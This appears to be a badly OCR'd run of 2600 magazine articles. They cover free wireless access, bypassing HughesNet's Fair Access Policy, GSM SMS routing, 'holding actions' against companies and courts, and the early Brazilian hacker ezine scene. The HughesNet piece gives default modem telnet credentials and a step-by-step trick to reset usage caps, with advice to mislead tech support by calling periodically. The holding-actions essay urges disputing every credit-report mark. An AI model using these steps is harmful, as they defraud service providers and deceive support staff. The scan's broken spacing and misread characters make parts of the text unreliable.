t i a l  probl em wou l d  ar i se  i f  th e  customer gets 
ra n d om l y  k icke d  off; t h ey m i g ht ca l l  tech­
n ica l s u pp ort to i nvestigate, w h ich cou l d  
further com p l icate matters .  The l a st mora l 
d i l emma i s  charg i n g  for w ire less  access i n  
t h e  first p l ace, w h ich s h o u l d  put  p eo p l e  
a t  u n ease,  but, surpr i s i n g l y, does n ' t .  O n e  
prob l em w i t h  t h i s  i s  c h arg i n g  for a s ubsta n ­
d ard s ervice w h e n  oth er serv ices are ava i l ­
ab l e  that  p eo p l e  wou l d  h ave n o  object i o n  
to p ay i n g  for, s uch a s  eth er n et a n d  fiber 
optic con nect i o n s .  The oth er prob l em w ith  
charg i n g  i s  that  offer i n g  free w ire l ess  access 
attracts customers to w hatever serv ice you 
are offer i ng, w h et h er it 's stay i ng at a h ote l  or 
gett i n g  a c u p  of coffee .  I a p o l og ize for t h e  
d i gress i o n  a n d  for a n y  d i sa gree i n g  l etters 
that m i g ht fo l l ow. 

References 
1 http://www . wayport . n et/ 

2 http ://www.kaboo dl e.org/ 

l http ://tmac . t ec hnitium . c o m/ 
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this method and the author of the 2600 
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;'�he HughesNet FAP 

by ntbnnt 

I use satell ite I nternet, which i s  great 
for web brows i ng, I RC, 1M, e-mail, and 
the l i ke .  B ut i t  offers absolutely no conve­
n i ence whatsoever for downloadi n g  mus ic, 
l i sten i ng to i nternet radio, or downloading  
my favor i te L inux  di stro. 

You see, H ughesNet has a part icularly 
restr ict ive Fa i r  Access Pol icy (FAP) .  Now, I 
u ndersta nd perfectly why a FAP is needed; 
however, i t  ser iously l i m its many of the 
more obvious and useful appl icat ions of 
h igh-ba ndwidth I nternet. 

H av i ng the hacker ' s  perspective, I ques­
t ioned if i t  were poss i ble to reset my I nternet 
usage stat ist ics, so that I 'd be able to take 
the 2 .5 hou rs of non-stop HTTP com mu­
n icat ion that  i t  takes to download a n  . i so 
of Deb i a n  without hav ing  to wa it  24 hours 
after each h u ndred megabytes. 

The equ i pment for a H ughesNet connec­
tion i s  a satell i te di sh, its radio, and a receiver, 
or modem if you will .  The modem is a bas ic 
VxWorks-based router with only one port 
and the equ i pment and software to in terpret 
the satell ite s ignal. You can telnet i nto th i s  
router by  connect ing to  192 .168.0.1: 23 

and enter ing  the username brighton and 
the password swordfish. Anyone with 
experience hacki ng VxWorks equ i pment 
should f i nd a new toy i n stantly with that 
i nformation. But, onward to the FAP i ssue.  

There i s  a separate tel net daemon 
ru n n i ng on the HughesNet modem. I t  is 
l i ste n i n g  for the free-m i nded to call upon 
i ts  power at 192.168.0.1: 1953, and 
H ughes made it  easy for us, s i nce we can 
access th i s  menu without any k i nd of log i n .  
Bas ically, t h i s  i s  t h e  C L I  o f  what you get by 
v is i t ing http://192.168.0.1, but i t  
provides some much more useful fu nctions.  
Enter ing? i nto the command prompt will 
y ield all the i nfo we w ill need. 

The H ughesNet FAP i s  enforced by 
track ing  the bandwidth used by each S i te ID. 
I f  you ' ve never done so before, go to System 

I nfo to see th i s .  
Bas ically, i t  serves 
as authentication 
that you r  modem 
is commiss ioned 
for service.  If you 
have no S i te ID, access to the H ughesNet 
network will not be granted. Now, basically 
the goal is to reset all of the i nformat ion 
stored about you at the H ughesNet NOC, 
so you r  FAP status is reset back to n il .  That 
will allow you to f i n i sh  the download of 
Debian, RedHat, or  whatever you prefer. 

So, we will need the help of tech support. 
Th i s  i s  f i ne, because tech support i s  you r  
fr iend. Reconnect to you r  router and enter 
the command rd. Th i s  i s  go i ng to force you r  
modem i nto a state of bei ng decom m i s­
s ioned, which will req u i re it to be recom­
m iss ioned with the help of tech support. Go 
ahead and call 1-866-347-3292 . G ive them 
all the i nfo they need; be honest. 

The agent will not check you r  FAP 
status-it ' s  s imply not i n  the scr ipt. He 
will tell you to  go to  h t t p : //1 92.168.0.1/ 

-f s/reg i s t r a tion/ s c tup . h tml and click  
" Re-Register."Conti nue through the prompts 
u nt il  the modem reboots . After it does so, let 
it s i t, watch the status at lot tp: / / 1 92.168.0.1, 

and let it update. When i t ' s  done updati ng, 
go ahead and check the FAP status.  It should 
now say " NO." That means sweet, u n me­
tered freedom .  Sm ile and watch as you r  
connection goes from 2 .2 kb/s t o  2 00.2 kb/s, 
and sm ile b igger with that n ice fat down­
load s i tt ing  i n  you r download folder. Redo 
th i s  as needed, but remember to call tech 
support every few t i mes that you need to do 
i t; that way H ughes will see that there a re 
i ssues with you r serv ice and that you aren ' t  
decom m ission i ng you r  modem f o r  fun .  

Shouts t o  h3xis, who taught me about 
firmware, showed me how to hack Tomato, 

and introduced me to 2600. 
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H e l lo, a n d  greetings from the Centra l Office! 
After an u n usua l ly co ld  a n d  rainy winter here in 
the Pacific Northwest, s u m mer is in fu l l  swing. 
With so litt l e  good weather in this part of the 
world, peop l e  head outdoors and  m a ke the most 
of it - even with gasoline hovering near $5 per 
ga l lo n .  

For m a n y  you n g  peop le, this mea ns  it ' s  time 
for noisy outdoor concerts, which I ' m  to l d  a re 
even louder t h a n  o u r  dic'se l  backup generator 
here at the Centra l Office .  At a h uge m u sic 
festiva l with sound systems approaching the 
decibe l l evel of ;1 737 ta king off, how do you 
find  you r  friends! I nc reasing ly, text  messages a re 
the so l u tion. 

You may not thin k a bout it much when you ' re 
sending " H E Y  CRAC K DAWG W H ERE U (0)" to 
you r  friend, but  sending a n d  receiving sma l l  kxt 
messages is incredib l y  comp l ex - in fact, m uch 
more comp licated t h a n  emai l .  Ma king m atters 
worse, there a re m u l tip l e  versions of SMS, a n d  
m u ltip l e  tec h n o l ogies invo l ved in mobile p h o n e  
systems (for exa m p l e, CDMA IS-95, CDMA2000, 
G SM CSD, a n d  G SM G PRS) . For this Mtic l e, I ' l l  
focus  o n  G SM n etworks, which a re operated by 
AT&T and T-Mobile (a long with some s m a l ler  
regiona l ca rriers such  as Edge Wire l ess) in the  
u.s. 

Text messages a re governed by the Short 
Message Service (SMS) sta ndard .  This is c u rrent ly  
defined as part of the  E u ropea n Te l ecom m u nica­
tions  Sta n d a rds I nstitute (ETS I )  G SM 03.38 sta n­
d a rd . I t  incorporates, by reference, the MAP part 
of the Signa ling System 7 (SS7) p rotoco l .  The 
specification a l l ows for 1 40 byte messages. I n  
North America, this t ra n s l ates t o  1 GO characters 
because the c h a racter set used is limited to 7-bit 
ASC I I  cha racters. In Unicode d l p h a bets (su c h  as 
A rabic, Chinese, or Cyril lic), where c h a racters 
a re two bytes apiece, SMS messages can o n l y  
be 7 0  characters i n  length . Whichever a l phabet 
you use, l a rger messages a re genera l l y  sp l it 
apart to be de l ivered (and bil led) as m u l tip l e  
text messages. However, because additiona l 
meta data is required to accomplish  this, the size 
of each message is red uced hy six hytes (seven 
ASC I I  characters ) .  

To u n dersta nd  how ,10 SMS message is  de l iv­
ered, it ' s  importa nt to first u ndersta nd  a litt l e  
a b o u t  h o w  G SM switching works. So, here ' s  a 
crash cou rse.  

HlR 
When you sign up for service, you r  phone 

n u mber, the IMS I f rom you r  S IM ca rd, a n d  infor­
mation about the capabi lities of you r  account  
a re input  into the Home Location Register 
( H LR) . This is a database operated by you r  wire­
l ess carrier, a n d  it l a rgely contro l s  what you r  
h a ndset i s  both a l lowed a n d  configured t o  d o  
on the network (e.g.  place and receive ca l l s, 
send a n d  receive text me,sages, forwa rd ca l l s  to 
voicemail ,  use data services, a n d  so forth ) .  The 
H LR a l so keeps (approximate) track of you r  loca­
tion on the network, in order to de l iver ca l l s  a n d  
messages appropriate l y. I n  genera l ,  e a c h  wire­
l ess carrier operates one H LR topol ogy, a n d  l a rge 
carriers sp l it up s u bscribers between H LR nodes.  
The H LR is the nerve center of a wire l ess car rier, 
a n d  if it fai ls ,  a very bad day is guaranteed for 
the person who ad ministers it. At a minim um, 
nobody wil l be a b l e  to receive incoming phone 
c a l l s, text messages wil l be de l ayed, ca l l s  wil l not 
forwa rd to voicemail ,  and se lf-importa nt peop l e  
in SUVs everywhere wil l be u n a b l e  t o  use their 
B l ackBerrys while run ning over old l adies in 
c rosswa l ks .  So,  as  you might imagine, a n  H LR 
outage means the carrier may l ose thousands 
of do l l a rs per minute.  Fortunate l y, red unda ncy 
and fai lover capahi lity a re fair l y  sophisticated . 
For exa m p l e, Norte l ' s  NSSI9 p l atform a l l ows for 
both loca l a n d  geographic a l  red u n d a n cy. H LR 
databases themselves a re a l so designed with a 
high degree of red u n d a n cy a n d  fau l t  to lerance, 

a l lowing rapid recovery in the event of fai l u re .  

MSC 
An MSC is a Mobi le  Switching Center. I n  

effect, this i s  a Centra l Office for mobile phones .  
However, u n like traditio n a l  wire line Centra l 
Offices, which genera l ly cover o n l y  one city (or 
in l a rge cities, as litt le  as one n eig h borhood), 
MSCs genera l ly cover an entire region .  These 
incorporate a l l  of the functiona l ity you wou l d  
expect from a modern Centra l Office, a l ong with 
a l ot of whiz-bc,ng featu res specific to mobile 
phone app l ications (such as the VLR described 
below).  

MSCs can  be either  loca l or  gateway MSCs. A 
gateway MSC is a n a logous to a tandem switch, 
and can commu nicate fu l ly with other  wire l ess 
and wire line networks.  A l oca l MSC is a n a l ogous 
to a loca l switch, a l though these switches can 
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often route direct ly  to the PSTN (and increas­
ing ly, VolP networks) for voice cal l s .  

VLR 
You r  mob i l e  p h o n e  wil l genera l l y  be regi s­

tered in the Vi sitor Location Register (VLR) of the 
Mobi le  Switching Center (MSC) serving the a rea 
in which it is l ocated (although the H LR does not 
necessari ly  have to be decou p led, so in s m a l le r  
G SM systems the VLR may be the same as  the  
H LR). The V LR retrieves a loca l  copy of you r  
su bscriber p rofi l e  from t h e  H LR, s o  most rout i n e  
quer ies c a n  be processed against the V LR rather 
than the H LR. This m i n i m i zes l oad on s l ow a n d  
expensive inter-carrier S S 7  ( a n d  somet i mes even 
X.2S) l i n ks and the H LR servers. These systems 
a re a l so des igned with a high degree of fau l t  
to lerance, because it's a l so b a d  if  they fai l .  
However, t h e  fai l u re o f  a V LR wil l cause o n l y  a 
l ocalized outage. Fa i l ed cal l s  wi l l  genera l l y  be 
forwa rded to voicema i l  in the inter im,  and SMS 
messages wil l be he ld  for de l ivery unti l  the  V LR 
is again operation a l .  

MXE/MC 
The MXC ( a l so referred to as MC) handles 

messaging. O n  G SM systems,  th i s  inc l udes 
vo icem a i l ,  SMS, and fax features (yes, the G SM 
standard i nc l udes sending and receiving faxes 

for some reaso n ) .  

SMSC 
Hey, we fin a l l y  got to the piece that rea l ly 

matters. The SMSC is the component of the MXE 
which ha ndles SMS originat ion and term i natio n .  
SMS messages s e n t  or received genera l l y  pass 
from you r  ha ndset to the MSC to the MXE to the 
SMSC, and then e i ther  in  the reverse direct i o n  
(fo r  on-network SMS) or t o  the gateway M S C  for 
i nter-carr ier  del ivery. 

Message flow 
I ' m  a v i sua l  person,  so here ' s  a v i s u a l  depic­

t ion  of  how an SMS i s  senl .  Read it from l eft to 
r ight: 
Figure 1: Mobile SMS Origination 

Di,lgram drawn by Carre 
Note that  the SMS protocol accou nts for the 

u n re l i a b i l i ty of wi re l ess networks by us ing an 
acknow l ecilzment sequence.  

N ext, here ' s  a visual depiction of how you r  
p h o n e  receives SMS messages from the network.  
Read i t  from right to l eft: 
Figure 2: Mobile SMS Termination 

Diagram drawn by Carre 

Note that  the acknow l edgment seq uence is 
a l so end-to-end, as i n  Figure 1 .  

Bi l l ing 
Wh i l e  the G SM standard defi nes h ow the 

SMS protocol  works and the  data structu res 
associated with i t, bil l i ng is l eft up to the carriers. 
This is a contentious  issue, particu lar ly  over­
seas where carriers do not charge for receiving 
SMS messages. U n like emai l ,  SMS is bil l ed per 
message, and carr iers w i l l  genera l l y  not de l iver 
messages u n l ess they h ave a bi II i ng arrangement 
wi th  the orig i nat i ng carrier. Th i s  has given rise 
to inter-carrier SMS providers, such as  VeriSign,  
who negotiate wholesa l e  bil l ing a rrangements 
on beha l f  of carr iers .  Genera l ly, i n  the absence 
of a bil l i ng a rrangement, carriers w i l l  refuse 
de l ivery of SMS messages. This i s  a pa rticu l a r l y  
g l a r i n g  i s s u e  when u s i n g  SMS short codes. For 
examp le, the popu l a r  8762 (UPOC) short code 
i s  not ava i l a b l e  t o  S p r i nt subscr i bers, beca use 
Spr int  l acks a b i l l i ng arrangement with  Dada (the 
owner of Upoc). 

Wel l ,  i t ' s  t h e  e n d  o f  m y  sh ift here i n  the 
Centra l Off ice, so e njoy the rest of you r  s u m me r  
a n d  p lease w e a r  ear p l ugs i f  y o u  d a n c e  n e a r  t h e  
b ig  speakers. I n stead, save you r  hea r i n g  for The 
Last H O PF in New York, wherp I ' l l  be spea k i n g  
t h i s  ypa rl 
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by Barrett Brown 

"ho ld i ng" (ho l'dil'j) 
1. i n  certa i n  sports, the i l l ega l use of the hands  
and  arms to h i nder the movements of  an  
opponent 

"act ion"  (ak'/an) 
1. the effect p roduced by someth i ng. 
2.  a) a m i l i tary encou nter 

b) m i l itary combat in genera l 

Everyone i s  fam i l i a r  with what h o l d i ng 
actions  a re; we experience them every day of 
our  l ives. What many peop le  m ay not know 
i s  that ho ld i ng  actions  can be very carefu l l y 
p l a n ned us i ng stat i st ics,  mak ing  them a 
powerfu l too l of m a n i p u l at ion .  

F i rst, l e t ' s  acq u a i nt ou rse l ves more 
spec if ica l ly with what a ho ld i ng act ion i s .  

Scenar io One:  Let ' s  say, for examp le, that 
you a re try i ng to get a refu nd for some sma l l  
item you bought but wh ich  you rece ived i n  
the m a i l  broken .  The item cost $30.00, but 
you paid for i t, and you want to get what you 
pa id  for. You ca l l  the company and a re greeted 
by a phone tree. The phone tree is the fi rst step 
i n  the company ' s  ho ld i ng action aga i n st you .  
You spend forty m i n utes nav igat ing  a rou nd the 
tree, and  you fi n a l l y  reach a customer serv ice 
representative, who i nforms you that i n  order 
to get a refu nd or exchange, you need to have 
the or ig i n a l  recei pt, fi l l  out some forms they 
send you in the m a i l ,  and send your  item back 
to them. You wait  for your  forms in the m a i l ,  
b u t  th ree weeks l ater they haven't come. So 
you spend another forty m i n utes on the phone 
tree to reach a nother representative, who 
apologizes a n d  says the forms wi l l  be sent to 
you .  Th i s  step can be repeated as many ti mes 
as necessa ry u nti l you get so t i red of wasti ng 
you r  t ime that you j u st give up  on the refu nd 
ent i re ly. Th i s  i s  a n  examp le  of a successfu l 
ho l d i ng act ion by the compa ny aga i nst you .  
Th rough t h e  use o f  phone trees a n d  red tape, 
the company avoided spend ing  money on 
you .  In fact, because t ime i s  eq ua l  to money 
i n  most peop l e ' s  l ives, they made you spend 
even more money. 

Scenar io Two:  N ow l et ' s  say, com p l ete l y  
hypothet ica l l y, that you a re a n  American 
pres ident .  Oh, I don ' t  know, how about 
Rona l d  Reagan .  And you a re two weeks away 
from you r  re-e l ect ion day. Someth i n g  bad 
comes out in the news-for exam p l e, Reaga n 
molests a G i r l  Scout-that th reatens  you r  
n u mbers i n  t h e  po l l s, and  you need t o  d i stract 
the pub l i c  j u st long enough to ensure you r  
re-e lect ion .  There happen t o  b e  U S  pr i soners 
of war in I ran ,  and you make a secret deal  with 
the I ra n i a n s  that i f  they release the hostages 
the day after re-e lect ion, you wi l l  g ive them 
some guns or d rugs or someth i ng .  Then you 
go on TV and promi se that i f  you get e lected, 
the hostages w i l l  be re l eased . Th i s  is a nother 
form of ho l d i ng act ion which uses the med i a .  
The pres ident does not need t o  prove t h e  G i r l  
Scout wrong or c lear  h i s  own name.  He j ust 
needs to ho ld  the peop l e ' s  attent ion for two 
weeks, u nt i l he gets re-e l ected . D i stract ion 
ho ld ing action .  

Scenar io  Th ree: You are a homeless hero i n  
add ict .  You a re sent t o  j a i l  for a c r i m e  you d i d  
n o t  comm it. Wh i le i n  t h e  c i ty j a i l ,  awa i t i ng  
tr i a l ,  you a re i n  excruc iati ng agony because 
you r  body is suffer i ng from opiate withdrawa l .  
Every day that you a re i nca rcerated i s  a day 
in agony. You r  p u b l i c  defender te l l s  you that 
you can p lead gu i l ty and get out in two days, 
or you can fight to prove you r i nnocence, 
wh ich wi l l  take months. You a re caught in a 
ho ld i ng  action (as wel l as a ho ld ing  ce l l ) , a nd 
most people i n  these cond it ions fo ld u nder the 
pressure. 

Ho ld ing act ions a re used on us  every day, 
in ever- i ncreas ing n u mbers. Major compa n ies 
actua l l y  have stat ist ics which te l l  them exact ly  
what  percentage of  customers w i l l  hang up  
or reach the wrong person when ca l l ing an 
automated phone tree, a nd they count on 
those n u m bers. They save money with every 
customer that does not reach them, or so the i r  
logic goes . T h e  m a i n  commodity w h i c h  a 
ho ld ing  act ion m a n i p u l ates is t ime .  Whether 
we rea l ize i t  or not, t ime i s  money, a nd s i nce 
corporations,  pr ivate i nterest groups, and  
wea lthy i nd i v i d u a l s  have much  more money 
and t ime  than the average person,  these l a rge 
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ent i t ies wi l l  a l ways w i n  any given hol d i ng 
action .  

Let's exa m i n e  scenario two aga i n .  A 
c ustomer i n  th i s  scenario who i s  somewhat 
poor may not h ave forty m i n utes to spend on 
a phone tree. E i ther they are busy work ing for 
m i n i m u m  wage, or they arc spend i n g  the i r  
free t ime do i ng l a u n dry a n d  shoppi ng. A poor 
person often does not h ave the t i  me to spend on 
red tape and  wi l l  give up ear ly, thus  sav i ng the 
m a n i pu l at ive ent ity in question from rep l a c i ng 
their defective product. A wea lthy i nd iv idua l  
i n  scenario two wou l d  h ave more t ime to  wait  
on ho ld ,  or even a secretary to m a ke the ca l l  
i n stpad, thus  i ncreas ing  the cha nces that they 
wi l l  end up  gett ing what they pa i d  for. 

Now that we u ndersta nd  a l i tt le  about how 
ho l d i n g  act ions a re used aga i nst us, l et ' s  th i n k  
about how they c a n  b e  u sed to our advantage. 
The bas i c  idea i s  to sta l l  for as  long as  poss ib le 
u nti l your enemies e ither give up,  forget or 
lose the paperwork regard i n g  you ,  or decide 
that i t  i s  cost ing  them too much money, or 
u nt i l you a re i n  a better pos it ion to reso lve the 
matter. 

The poor sou l  i n  scenario three cou l d  have 
fought h i s  own ho l d i ng act ion by i n s i st ing  
on a tr i a l ,  but  not a speedy one.  The j ud i c i a l  
system i n  t h e  u.s. fu nct ions pr i mari l y  on to 
"p lea-barga i ns," wh ich are dea l s  made with 
the D i str ict Attorney. Most courts have no 
i nterest in tr i a l s  because they cost too much 
money a n d  t ime.  So i n  the case of  scenar io 
th ree, ass u m i ng the charge was sma l l  and 
the person had no pr ior record, they cou l d  
i n s i st on  a tr i a!' I t  wou l d  take a few months, 
but chances a re good that the charges wou l d  
b e  dropped w h e n  t h e  D A  rea l ized t h a t  their 
own ho l d i ng action was not worki ng.  A fr iend 
of m i ne d i d  exact ly  th i s, goi n g  to court every 
month for three years, sta l l i ng the case. Every 
month the DA wou l d  offer a new dea l ,  and 
every month my fr iend wou l d  say, " I  want  a 

tr i a!." F i n a l ly, after they had postponed the 
tr i a l  to the farthest poss ib le  l ega l  t ime l i m it, 
the DA made one l a st offer, wh ich  was fa ir. 

H ave an ug ly  look ing  c red i t  report? F i l e  a 
d i spute on every s i ng le  bad mark you have. 
Compa n i es, espec i a l l y  cred itors, are routi ne ly  
bought by other compan i es, and  many t i mes 
paperwork or data i s  lost in the tra ns i t ion .  When 
you d i spute a c l a i m  on your cred it  report, the 
bu rden of proof i s  on the company. They o n l y  
have a l i m ited amount o f  t ime to prove that 
you owe them money, or they h ave to drop the 
c l a i m  from you r  report. Because these compa­
n i es a re so busy, i t  i s  very common for c l a i ms 
to be dropped s i m p l y  because the cred i tor d i d  
not have t h e  t i me to fi nd your fi l e  and  send 
i t  to the credit  report ing  agency. In addit ion,  
i f  you r  c l a i m  i s  sma l l ,  it costs the company 
more money to prove that you owe them than 
it does to j u st d rop the who l e  matter. Th i s  i s  
u s i ng a ho l d i n g  action to your advantage. 

Another examp le  is l awsu i ts .  Part of the 
reason why l arge compa n ies routi ne ly  sett le  
stup id l awsu its for l argE' sums  of  money i s  that 
they are aware of how much more money, 
t i me, a n d  pub l i c i ty it wou l d  cost them to go 
to tr i a!' 

Ti me and  i nformation are the two most 
i m porta nt commod it ies in our wor l d  today. The 
more i nformation you have about your oppo­
nent and about how their t ime i s  a l located, the 
better your abi l ity to contr ive ways to d i stract 
you r  opponent from us i ng  t ime aga i nst you. 
The more contro l  you h ave over a n  opponent ' s  
t i me, t h e  less they have over you rs .  The ever­
growi n g  comp lex i ty i n  bureaucrac ies, a i ded 
by the growth of tec h nology, ensures that 
m a n i p u l at i ng  peop l e ' s  t ime i s  a trend wh ich  
wi l l  o n l y  conti n u e  to grow and  be refi ned in  
the years to  come. The more you are aware of  
thf'sf' processes, thE' bettE'H'qu i pped you wi l l  
be to use them to your adva ntage. 



T h i r t e e n  Y e a r s 
S t a r t i n g a B a c k e r 

o f  
S c e n e 

by Derneval Ribeiro Rodrigues da Cunha together, so they cou l d  exchange i nformation .  
I had to have peop le  to ta l k  about. They had 

For those of you who don ' t  remember me, to know about hacki ng. I had to spread the 
I ' m  the one who wrote " H acki ng in B raz i l "  and word for that to happen, so that peop le  a l l  
"Sta rt ing a Hacker Scene." Maybe one o r  two arou nd B raz i l-those that deserved to be cal l ed 
of you have heard of B raz i l ians  on the i nternet. "hackers"-wo u l d  know what i t  was a l l  about 
U nfortu nate ly, there a re a great many of them and hold meeti ngs. Later on, the th i ng wou l d  
ca l l i ng themse lves hackers and defac ing be to prepare for a B raz i l i an  hacker conference. 
websites. No, I ' m  not the one who b u l l sh i tted So I started the eas iest way: by sta rt i ng an e lec-
those guys i nto doing  e lectron ic  vanda l i sm.  tron ic  pub l icat ion . Th i s  was when everybody 
What I d id  was to start writ i ng the fi rst B raz i l i an  was j u st sta rt i ng to  know about the  i nternet, j ust 
hacker ez ine  i n  1994 . The i nternet was n ' t  ava i l - before Braz i l i ans  cou l d  get commerc ia l  i nternet 
ab le  back then- people cou l d  on ly  learn about access. My ez i ne was the fi rst on the scene. 
i t  at u n ivers i t ies and in a few other p laces. I t  My boss d i d n ' t  fi re me when he heard about 
j ust so happened that I d id  know about it .  And my p lans; he u nderstood th i ngs. But  everywhere 
there I l earned about hacker eth ics, v i ru ses, I heard of, a bu nch of peop le  jo i ned and started 
phreak i ng, and a l l  that stuff. I was i nvol ved th i ngs. I ,  though, had to start on my own .  I 
i n  sett ing up an ecology I nternet d i scuss ion borrowed art ic les from the p u b l i c  doma i n  here 
among e lementary schoo ls .  Then I heard about and there, asked for perm iss ion to pub l i s h  th i s  
a "Hacker and Virus Congress" i n  B uenos A i res, or that, someti mes rewrote th i ngs, and did some 
Argenti na .  I t  ran for about fou r  days, wh ich I writ i ng on my own . Some of the stuff was so 
used to learn and ta l k  with people from Hacktic good that it 's sti l l  p u b l i shed today without my 
and 2 600 and with severa l Argent ine peop le  perm iss ion or anyth ing  e l se.  And, even today, I 
con nected with computer secur i ty, among haven ' t  complete ly decided if  I shou l d  sue the 
other th i ngs. guys that did i t .  There were people  who bought 

Few people in South America had I nternet books because my art ic le  was i n  them. 
accou nts. Most th i ngs happened in BBSes, on Th i ngs worked j u st f ine for the pub l ica-
F idonet or the l i ke. Computer v i ruses were t ion .  My choice of writ ing in pu re ASC I I  code 
the ma i n  s ubject when people ta l ked about he l ped it to be up loaded to and down loaded 
computer i nsecur i ty. But they generated a from i n  B BSes a l l  around the country and 
lot of press coverage in those days.  I t  was, abroad, in Portuguese-speak ing  p laces l i ke 
though, very d i ffi cu l t  to get any i n formation Portuga l and Mozambique. Barata Eletrica 
about anyth ing  l i ke "dark subj ects." Myse l f, I ("Electric Cockroach") spread everywhere l i ke 
had to hack my way i nto an academic i n ternet a d isease. It appeared i n  p l aces l i ke U senet, 
accou nt. I d i d  th i s  l ega l l y, not by us i ng  some- l i ke the 2 600 l i st and s o c . c u l t u r e . br a z i l .  

body e lse ' s  accou nt. I ' m  not going  to ta l k  Myse l f, I made i t  ava i l ab le  for down-
about bad con nection l i nes; phone modems load from the EFF and e t e x t . argo Check 
were everyth ing  but re l i ab le .  ( I  wrote about Google  for the cu rrent web address or v i s i t  
th i s  i n  "Braz i l i an  Phone System.") I 'm ta l k i n g  bara t ae l e t r i c a . c j b . ne t .  The peop le  from the 
about people  us i ng  600 bps, maybe 1 2 00 computer science facu l ty of a federa l u n iversi ty, 
bps, someti mes 2 400 bps modems. I n stead of U FSC, kept a m i rror on the i r  webs ite for about 
down load i ng big fi l es from a B BS, you ' d  rather a decade-and I ' ve never set foot there; thanks 
choose the fi l es fi rst, then go there you rself with to them ! At my own U n ivers i ty of Sao Pau lo, 
f loppies to pick them up.  I myse l f  wou l d  u se they wou l d  not hear a th i ng about it; i n  fact, 
the i nternet on l y  from u n ivers i ty computers; I they hated me. I a l most lost my access there but 
never had to use d i a l -u ps to access anyth i ng.  got i t  back months l ater. 
Computer students themse lves d idn ' t  know Soon people started to write other, more 
much about it except what they l earned from aggressive p u b l i cations, l i ke the ez ine  Axur 05, 
movies l i ke Wargames. That was in the second Nethack, and a few others, most ly  on B B Ses. 
b iggest u n ivers i ty in South America.  Those were That was at the t ime of Mi tn ick ' s  a rrest. If 
the "go lden years." someone wanted to be known as a hacker, he 

So, what was my goa l ?  J u st to get peopl e  and h i s  friends wou l d  write a n  ez ine.  Lots of 
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good i nformation started to be spread arou nd, the paper press started to run  art ic les teach ing  
l i ke p h i l es about how to  get free phone ca l l s  bad th i ngs for fu n .  i ssue of the now-defu nct 
i n  the B raz i l i an phone system. (They eventua l l y  B raz i l i an  ed it ion of In ternet World su rpri sed me 
fixed that . )  in that way. Most ly, i t  had arti c les te l l i ng  every-

The ez ine  grew qu it�� complex .  For one th i ng, th i ng about hackers ' bad deeds.  Put together, 
I started to enjoy writ ing.  It beca me more than a the arti c les gave knowledge about how to n u ke 
hobby. It a lways took more t ime to write th i ngs. other PCs. My good l uck was I dec l i ned an 
And if I cou ld  not enjoy read i ng it myse lf  aga i n , i nterview. Maybe I wou ld  have been cons id-
I wou ld  rewrite the arti c le .  The ezi ne, or ig i na l l y  ered part of the group.  Other magazi nes a l so 
meant to be someth i ng s i mp le, grew complex, d i d  s i m i la r  arti c les. Some guys sta rted to write 
with sect ions l i ke a FAQ, about, h i story, better books us ing  materi a l  from the ez i nes. And these 
arti c l es, and a news sect ions that was so books were a h i t, even if  th i ngs in there d i d n ' t  
troub lesome t o  make that I tu rned i t  i n  a b log work anymore. I can trace today ' s  B raz i l i an  
(ba r a L a e l e L r i c a . b l o g s po l . c om) .  I f  I wrote e lectron ic  vanda l i sm back to those mags and 
someth i ng, there wou l d  be a reference or a l i n k  books. 
say ing  where I took i t  from. My "hacker" congress never came off. The 

Peop le  sta rted offer ing serv ices l i ke how to i n ternet was spread ing  fast, but I d i d n ' t  have 
improve my HTML ( i t  sucks) and easy access a computer science degree. My knowledge 
of the web s i te-for free . I dec l i ned. I started i t  was  most ly U n i x-based, and i t  was  qu ick ly  
a l l  a lone; nobody wanted to spare t ime to he lp deva l ued. L i ke most d i nosau rs, I d idn ' t  bel ieve 
me. Once I was famous, who cares? Besides, in a commerc ia l  I nternet. Maybe i t  was a bad 
a better ez ine  wou l d  i nvo lve gett ing more th i ng  that I was n ' t  money dr iven .  I nstead of 
complex .  My focus was n ' t  in del iveri ng better sett ing up an enterpri se, I enro l l ed in a post-
th i ngs to the growing n u mber of peop le  who graduate cou rse. Don ' t  th i n k  that the peopl e  
were gett ing  I nternet access. T h e  way it was, I who sta rted Yahoo! were more g ifted than me. I 
was gett ing th ree or fou r  l etters a day aski ng, took my motto " I  logi n therefore I am"-check 
"Can you teach me hacking?" Googl e; I sa id i t  fi rst-and began to gather a l l  

I cou l d  have gone corporate. B ut I wou l d  m y  experiences w i t h  t h e  h acker scene i nto an  
have had to  charge for that. I n  fact, when I academ ic work. 
sta rted the ezi ne, the freeware concept was People kept press i ng  me to write a book 
not u nderstood . For me, it meant that I wou ld  about  a l l  my exp lo i ts rather than a thes i s .  And 
not  have to worry about pay i ng wages, taxes, the fact i s  that I col l ected enough data to write 
revenue, i ncome, consu mer r ights, and so on .  a l ot about those days. I cou l d  fi l l  two or th ree 
I wou l d  have had to reg i ster the ez i ne; then I books j u st with i nformation from the ez i ne.  
wou l d  have been a ta rget. I f  anybody sued me Some day, I ' l l  do it .  B ut for the moment, writ i ng 
and I lost, that wou ld  have been it .  And the k ind  a book i n  order to  j ust earn money wou l d  be  
of  art ic les I p u b l i shed were often i n  gray areas sel l i ng out. And I cou ld  a l ready have done that 
of the l aw. I f  you ' re a h i red hand, you need to even with a "I am a friend of Bara ta EJetrica ' s  
work e ight hours a day, b u t  i f  you ' re a boss, you a uthor" card .  One ex-fr iend of m i ne got h i s  
work twice that much .  US$20  debt pardoned j ust because he i ntro-

My op in ion was qu ite respected. Among duced me to his cred i tor-j ust l i ke that. If  I 
other th i ngs, I can say I sta rted the ta l k  about wanted to write about "how to hack th i ngs," I 
L i n u x  i n  B razi l .  Ph iber Opt ik  came here; I to ld  cou l d  have done i t  much ear l ier. I maybe even 
everybody to ask h i m  to compare Windows cou l d  have earned cash doing lectu res some-
secur i ty versus FreeBSD. Newswriters did not where, and got a Masters degree. I cou ld  a l so 
know anyth i ng about it .  I was a l so there to give s imp ly  have stopped hack ing  and got a good 
support when an activi st from Amnesty I nterna- job in computer secur i ty. B ut, one can ' t  write 
t iona l ,  Fernanda Serpa, started the "Free Kev i n  a thes is and d o  computer secu rity a t  t h e  same 
Mitn ick" movement in B raz i l .  Maybe I ' l l  write t ime.  And I ' m  sti l l  th i n k i ng about it, but it has to 
about it someday. When there was ta l k  about be outs ide B raz i l .  
br ing ing Markoff a n d  Sh i mom u ra to a U S$400 I n  fact, I soon found out that some peop le  
per  t icket conference to ta l k  about  "the p i rate were sti cki ng with me because of the "dark 
and the sam u ra i ," I wrote an a rti c le  in the ez i ne.  s ide." Someti mes I even lost "fr iends" because 
Later on, nobody tal ked about br ing ing those they gave up  on me writ i ng about them. I a lways 
